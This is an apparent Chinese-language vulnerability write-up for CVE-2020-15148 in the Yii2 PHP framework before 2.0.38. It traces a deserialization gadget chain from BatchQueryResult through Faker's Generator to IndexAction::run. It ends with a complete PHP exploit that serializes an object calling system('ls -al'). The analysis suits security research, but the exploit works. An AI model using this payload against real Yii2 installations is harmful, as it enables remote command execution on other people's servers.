参考资料
https://xz.aliyun.com/t/8307
前言
 漏洞编号:CVE-2020-15148
 漏洞版本 < 2.0.38
 Download:https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz
漏洞复现
  漏洞位置:www/vendor/yiisoft/yii2/db/BatchQueryResult.php
1 2 3 4 5
   | 79    public function __destruct() 80    { 81         82        $this->reset(); 83    }
   | 
 
BatchQueryResult类的魔术方法__destruct调用了reset方法,继续跟进reset方法。
1 2 3 4 5 6 7 8 9 10
   | 89    public function reset() 90    { 91        if ($this->_dataReader !== null) { 92            $this->_dataReader->close(); 93        } 94        $this->_dataReader = null; 95        $this->_batch = null; 96        $this->_value = null; 97        $this->_key = null; 98    }
   | 
 
代码92行调用了_dataReader属性的close方法。众所周知,反序列化类的属性我们是可控的,所以此处的_dataReader属性调用了不可访问的close方法的话就会触发__call魔术方法。

全局搜索可用的call方法

其中www/vendor/fzaninotto/faker/src/Faker/Generator.php中Faker类的call方法可进行调用
1 2 3 4
   | 283    public function __call($method, $attributes) 284    { 285        return $this->format($method, $attributes); 286    }
   | 
 
跟进format方法
1 2 3 4
   | 226    public function format($formatter, $arguments = array()) 227    { 228        return call_user_func_array($this->getFormatter($formatter), $arguments); 229    }
   | 
 
虽然这里有call_user_func_array函数可以利用,但是$arguments变量不可控,所以利用此处作为一个跳板寻找其他链继续构造。
正则匹配可利用的函数call_user_func($this->\w+,\s?$this->\w+,(记得开启正则匹配)这条正则只匹配函数内的参数(形参)是成员属性的。

利用IndexAction类的run方法来构造命令执行:(属性都是可控的),最终的pop链大概是这样子的,图比较抽象。。能理解就行

1 2 3 4 5 6 7 8
   | 76    public function run() 77    { 78        if ($this->checkAccess) { 79            call_user_func($this->checkAccess, $this->id); 80        } 81 82        return $this->prepareDataProvider(); 83    }
   | 
 
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
   | <?php
  namespace yii\rest { 	class IndexAction { 		public $checkAccess; 		public $id;
  		public function __construct() { 			$this->checkAccess = 'system'; 			$this->id = 'ls -al'; 		} 	} }
  namespace Faker { 	use yii\rest\IndexAction; 	class Generator { 		protected $formatters;
  		public function __construct() { 			$this->formatters['close'] = [new IndexAction, 'run']; 		} 	} }
  namespace yii\db { 	use Faker\Generator;
  	class BatchQueryResult { 		private $_dataReader;
  		public function __construct() { 			$this->_dataReader = new Generator; 		} 	} }
  namespace { 	echo base64_encode(serialize(new yii\db\BatchQueryResult)); }
   | 
 

漏洞修复
